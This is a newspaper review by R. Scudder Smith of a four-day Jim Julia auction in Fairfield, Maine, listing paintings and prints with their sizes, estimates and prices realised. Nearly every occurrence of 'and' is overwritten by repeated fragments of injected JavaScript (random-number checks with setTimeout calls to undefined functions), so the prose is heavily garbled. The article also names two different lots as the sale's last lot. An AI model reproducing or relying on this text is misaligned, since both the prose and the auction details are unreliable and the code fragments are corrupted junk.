By: R. Scudder Smith

 FAIRFIELD, MAINE — “It was a busy four days, starting on Tuesday, August 19, at 10 am andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and running late into Friday afternoon, but we had a good time, sold lots of fine things, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and ended with one of the best sales we have had in years,” Jim Julia said after the hammer had fallen on the last lot, a collection of nine Rose Medallion porcelains that brought $355. In total, the sale grossed $5.71 million, including the buyer’s premium, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and all prices quoted in this review include the premium.

Early in the sale, during the first session August 19 that was devoted to fine art, a Rockwell Kent wood engraving, “God Speed,” unframed but hinge-mounted with mat, pencil signed lower right, 5¼ by 6¾ inches, sold over the $1,200 high estimate for $3,555, while an oil on canvas, “Cat On a Victorian Chair” by Percy A. Sanborn (American, 1849–1929), in the original gilt frame with velvet andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and gilt liner, 20 by 16 inches sight, 27 by 22¾ inches framed, went over the $5,000 high estimate to bring $8,295.

“The Approaching Storm” by Jay Hill Connaway (American, 1893–1970), an oil on canvas in a period carved andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and gilt frame, sold within estimate at $10,327. It was signed lower left andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and measures 35½ by 45½ inches framed. Several more works by Waldo Peirce were later in the sale, including “Two Women With City View,” an unframed andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and unstretched oil on canvas, signed lower right andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and measuring 50 by 35 inches, which more than doubled the $5,000 high estimate, achieving $12,442.

Selling within estimate was an oil on canvas by Emile Albert Gruppe (American, 1896–1978), “Morning Smith Cove Gloucester,” 25 by 30 inches sight, 33 by 38 inches framed andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and in very good condition. It brought $13,365. Several lots later “Towering Trees,” an oil on canvas by William Lester Stevens (American, 1888–1969), sold within estimate for $13,035. This work measured 36 by 30 inches sight andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and was signed lower right.

“Summer Sailing” by Ben Foster (American, 1852–1926), an oil on canvas signed lower left, 24 by 30 inches sight, 32¾ by 38¾ inches framed, sold just over the high estimate at $6,517. There were two labels on verso, “The Crane Collection, Boston, MA” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Jim’s Antiques, Lambertville, N.J.” One of the two catalog facing works by Cornelius David Krieghoff (Canadian, 1812–1872) was “Departing The Family,” an oil on canvas signed lower left andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and measuring 18¾ by 22½ inches framed. It finished within estimate at $47,400.

Selling well over the $10,000 high estimate at $42,660 was “Trees Above Lake Superior” by Lawren Stewart Harris (Canadian, 1885–1970). It is in a natural carved wood frame, signed lower left, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and measuring 24 by 31 inches framed. “In A Giverny Garden, 1909,” an oil on canvas by Edmund William Greacen (American, 1877–1949), sold within estimate for $35,550. It measures 24 by 28 inches sight, 33¾ by 39 inches framed, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and it is likely that the woman in the painting is Marthe, Monet’s daughter.

“Le Boulevard Strasbourg, Paris,” gouache by Eugene Galien-Laloue, measured 14 by 19 inches framed andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sold over the $7,000 high estimate for $11,257, while “Amongst The Towering Trees” by the same artist, 36¼ by 28½ inches sight, signed lower left, more than doubled the high estimate of $5,000, realizing $13,035.

“Le Repos,” a lithograph by Marc Chagall (French Russian, 1887–1985), pencil signed lower right, 14½ by 20½ inches sight, modern gilt frame, went for $5,332, just shy of the high estimate, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and two works: “Mourning Doves” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Bandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and-Tailed Pigeons,” Lynn Bogue Hunt (American, 1878–1960), gouache on board, signed lower left andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and right, went over the $5,000 high estimate, selling for $8,505.

 The auction ended with a shoulder portrait of a young boy in a sailor’s outfit, oil on canvas, modern gilt ribbed frame, 17 by 14 inches overall, selling under the $100 low estimate for $60.